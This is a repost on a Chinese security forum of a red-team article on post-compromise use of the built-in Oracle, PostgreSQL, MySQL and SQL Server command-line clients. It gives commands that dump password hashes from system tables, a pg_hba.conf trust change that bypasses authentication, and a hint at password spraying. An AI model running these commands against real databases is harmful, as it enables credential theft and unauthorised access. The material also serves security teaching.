安全矩阵

 找回密码
 立即注册
搜索
查看: 3904|回复: 0

各主流数据库非交互执行

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-8-22 09:54:41 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2020-8-22 09:58 编辑

各主流数据库非交互执行
原创 klion
来源于公众号:红队攻防揭秘
原文链接:https://mp.weixin.qq.com/s?__biz=MzI0OTkzOTc2Nw==&mid=2247484816&idx=1&sn=fbded7d5d3e37840bc5d24e895bf66de&chksm=e98897c8deff1edeaec0f3983c2091f52c4befc6323312a32e151fb16f5a1f7064bfe8ebdf6d&mpshare=1&scene=23&srcid=0821C0CLgRwBUfPdqHo6m4u9&sharer_sharetime=1598002147620&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
侵删


声明:
    文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无任何关联

    另外,这只是一个个人性质的公众号(非任何商业营销号),目的也仅为技术分享交流,并不想去招惹任何是非,故,除了此公众号,将不再考虑做其他的任何推广 ( 细心的你可能也发现了,至今为止,甚至连一则外部广告都不曾出现过 ),再次声明,严禁所有未经本人明确授权的恶意转载 及 非法营销牟利行为

实战场景说明:

实战中,可能经常会遇到类似这样的问题,比如,内网机脱网,无法进行各种正反向代理转发(或者速度极慢,根本连不上),导致Navicat,SSMS,PLSQL...等各种三方数据库客户端根本无使用条件,再比如,无rdp操作条件,只有一个cmdshell / bash, 但最终目的也只是想在库中快速进行一些账号密码搜集或者脱取库表结构类的简单操作,等等诸如此类吧...

    此时,就需要了解关于各主流数据库在cmd/bash下的一些非交付sql执行方式,非常简单,没任何技术含量,只为笔记留存,方便其它弟兄们,注,如下的所有工具均为各自数据库内置工具,不依赖任何第三方外部工具( 即使数据库没装亦把对应的命令行客户端拆出来独立使用 ),很灵活


0x01 Oracle

安装用户权限下,无密码非交互执行

  1. tv.sql 语句
  2. select * from v$version;
  3. SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
  4. SELECT name,spare4 FROM sys.user$;
  5. exit;

  6. 默认在装好oracle以后,sqlplus会被自动写到当前用户的环境下,直接执行即可
  7. # echo SELECT name,spare4 FROM sys.user$; | sqlplus "/ as sysdba"
  8. # sqlplus "/ as sysdba" @c:\tv.sql > c:\Users\public\simlog.logs
复制代码




0x02 Postgresql

服务安装用户权限下,无密码非交互执行,修改目标服务配置文件(pg_hba.conf),对127.0.0.1进行trust,之后再想办法覆盖目标原有配置文件[Win下比较特殊,无需重启服务,即时生效]
  1. tv.sql语句
  2. select version();
  3. SELECT usename FROM pg_user WHERE usesuper IS TRUE;
  4. SELECT usename, passwd FROM pg_shadow;
复制代码

PgSQL在装好之后,默认并没有把PSQL没写到当前用户环境变量下,故需要自行指定绝对路径执行
  1. # echo SELECT usename, passwd FROM pg_shadow; | C:\SRV\PgSQL9.4.24\bin\psql  -h 127.0.0.1 -p 5432 -U postgres
  2. # C:\SRV\PgSQL9.4.24\bin\psql  -h 127.0.0.1 -p 5432 -U postgres < c:\tv.sql
复制代码






0x03 Mysql 带账密非交互执行
  1. tv.sql 语句
  2. select @@version;
  3. select user,host,password from mysql.user;
复制代码

一般情况下,在安装Mysql时都会顺手把环境变量选项勾上,故直接执行即可,如遇未添加环境变量,找到目标mysql安装目录下的bin目录指定绝对路径执行即可
  1. # mysql -uroot -p"abc123" -D Mysql <c:\tv.sql
  2. # mysql -uroot -p"abc123" -D Mysql -e "select user,host,password from mysql.user\G;select version()\G;";
复制代码





0x04 SqlServer 带账密非交互执行
  1. tv.sql 语句
  2. select @@version;
  3. SELECT name, password_hash FROM master.sys.sql_logins;
复制代码

Mssql安装完后,默认都会把sqlcmd添加到当前用户环境变量下,故直接执行即可
  1. # sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -i "C:\tv.sql"
  2. # sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -Q " SELECT name, password_hash FROM master.sys.sql_logins;"
复制代码





小结:

  非常简单,不再赘述,其实有些工具稍微灵活配合bat/sh,转身一变就是个服务喷射工具,非常适用于某些特殊场景下,还是那初衷,一篇文章只解决一个小问题,不想掺杂太多废话,祝好运

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 04:44 , Processed in 0.013925 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表